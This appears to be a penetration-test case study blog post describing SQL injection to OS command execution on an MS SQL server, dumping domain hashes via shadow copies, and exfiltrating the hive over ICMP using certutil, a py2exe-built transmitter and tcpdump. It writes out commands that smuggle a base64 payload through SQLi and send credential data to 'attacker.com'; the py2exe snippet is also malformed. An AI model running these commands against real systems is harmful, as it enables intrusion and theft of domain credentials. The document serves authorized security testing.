ICMP Tunnels - A Case Study

On a recent Pen Test project, we encountered a situation where the outbound traffic on the server was not allowed. Only ICMP (and DNS) traffic was allowed. In this blog post Shyam discusses how we manage to ex-filtrate the data over an ICMP tunnel.

Just to set the scene, the scenario was an application Pen Test. The application was only available on client’s internal network, so a VPN was provided to access the app. The VPN only allowed us to connect to one host (web server IP) and one port (443).

The Attack

So, as it turns out, we managed to achieve this:

  • The Application was vulnerable to SQLi.
  • It turns out the app connects to database (MS SQL 2008) as ‘sa’ account.
  • We could enable xp_cmdshell and execute OS code (sqlmap is your friend). Note that the shell via SQL Injection is not interactive. The output of the command we issue was first stored in database table and was then read out via SQL queries. Also, the web server and the database server were different. The web server did not have any ports other then 443 open (not even for Database server).
  • It further turns out that the sqlserver process was actually not running as ‘System’ but as a domain admin account (domainsqlsvc).
  • So, basically we ended up with domain admin access.

The Obstacle

The hosts on the internal domain did not have outbound internet activity. We did look for any proxy servers but could not find any. The only connection which was allowed was ICMP and DNS traffic. So, the problems we were now facing were:

  1. How do we dump domain hashes without any tools (metasploit, fgdump, pwdump etc)?
  2. Even if we were to dump the hashes, how do we export these on to our servers for offline cracking. :(

The problem 1 was quickly solved by referring to a fantastic blog from mubix’s using Volume Shadow Copies to pull the NTDS.dit file and system.hive files.


Now that we have the hive,  we need to send the hive on the compromised DC to our machine to decrypt it offline. So we wanted to have tool which would send hive as ICMP packets from the compromised host (DC) to our server and at our end we have a packet capture tool to capture the whole ping requests from the compromised host.

We looked at some of the existing tools regarding ICMP tunnels but the trouble was:

  1. It would seem like the existing tools were not too much geared towards file transfer (or we just didn’t find the right tool to do the job).
  2. How do we copy the ICMP tunnel client on the box, without having any ICMP tunnel? :P

So, we decided to do some research into this and came up with this approach:

  1. Convert the hive into base64.
  2. Divide the base64 encoded text file into smaller chunks.
  3. Create an ICMP packet with the chunk as the data with a proper sequence number to our server on the internet.
  4. Run packet capture tools and record the traffic on our server.
  5. Once all the packets are sent from the host and received by our server, use a parser to remove all the headers and concat all the data fields of pings to have a base64 encoded text file.
  6. Decode the base64 encoded file to have our hive on our server.

Fortunately, Windows has a utility called certutil installed by default which will do the encoding and decoding of a file to base64 for us in the most easiest way possible :)

So we used the certutil to convert the hive file into base64 encoded text file.

certutil command with base64 encode and decode options certutil command with base64 encode and decode options

Once we have the encoded file, we need to create it into chunks and send it to our server using ICMP. This was tricky, so we created a python script that would take the base64 encoded text as input, divide it into chunks, send each chunk to the specified public IP address as ICMP request.

Once the ICMP_transmitter.py does what it was intended to do, we need to convert the python file into exe as there will be no python interpreter by default in windows. For this we can use py2exe to convert the python file into an executable. Following code can be used to convert the python file to exe.

Code Snippet:

from distutils.core import setup
import py2exe, sys, os
    options = {'py2exe': {'bundle_files': 1, 'compressed': True}},
    windows = [{'script': "ICMP.py"}],
    zipfile = None,

It is to be noted that we used bundle_files option while converting the python file into an executable. In this way, the code will output one standalone executable file containing the compiled code along with all required modules and python interpreter.

Now we have this exe, the big question was how do we get this exe on the compromised host. The answer was follow these steps:

  1. Convert the exe into base-64 encoded format using certutil.

    certutil encoding certutil encoding

  2. It turns out this file was some 80K lines long, so we decided to remove the new lines and convert into chunks of ~8000 characters per line which meant some 660 lines. Note: echo command has a limit of ~8000 chars and hence this approach.
  3. We then made ~660 web requests to essentially make our SQLi execute the command
    cmd.exe /c echo "base64_text">>ICMPt_transmitter.txt
  4. After this we issued the following command to finally get our exe on server!
    certutil –decode ICMP_transmitter.txt ICMP_transmitter.exe

Now, all we need to do is run the exe with "file_to_be_sent" and "Destination_address" as arguments. The script does the following for us.

ICMP_transmitter.exe "hive" "attacker.com"

  • It used the certutil to encode the hive into base64
  • Created chunks of data and sent each chunk as data in ICMP packet

On our server, we started tcpdump to capture all the ICMP packets and save as a pcap file. Once all the ICMP packets are transferred stop the tcpdump and using any pcap parser, parse the data to build the base64 encoded text file. When the final text file is identified use the certutil tool to decode the file into respective file format.

tcpdump -i eth0 ICMP and ICMP[ICMPtype]=ICMP-echo -XX -vvv -w output.txt

File integrity can be checked against the md5sum of both the transmitted and received files.

Steps Involved

Following are the steps performed:

Step 1: Calculate the md5sum of the "hive" using our friendly certutil command.

MD5 checksum via certutil MD5 checksum via certutil

Step 2: Start tcpdump on our machine to capture the ICMP packets.

tcpdump at recieving end tcpdump at recieving end

Step 3: Use the command ICMP_transmitter.exe to transmit the hive to our ip address.

Transmitting file Transmitting file

Step 4: Once the all the packets are received, stop tcpdump by pressing ctrl^c to have an output file. The format of output file is pcap or txt based on the –W argument specified in the command.

tcpdump capturing packet tcpdump capturing packet

Step 5: Use a parser.sh to parse the output file to get a clean base64 encoded hive file saved as “transmitted.txt”.

Extracting data from ICMP Extracting data from ICMP

Step 6: Use the same certutil on your windows machine (or base64 -d on linux/mac) to decode the transmitted.txt to hive.

Decoding the ex-filtrated data Decoding the ex-filtrated data

Check the md5sum at our machine for the hive and check against the md5sum of hive at the host machine for integrity.

Perhaps not a very elegant solution, but it works! :)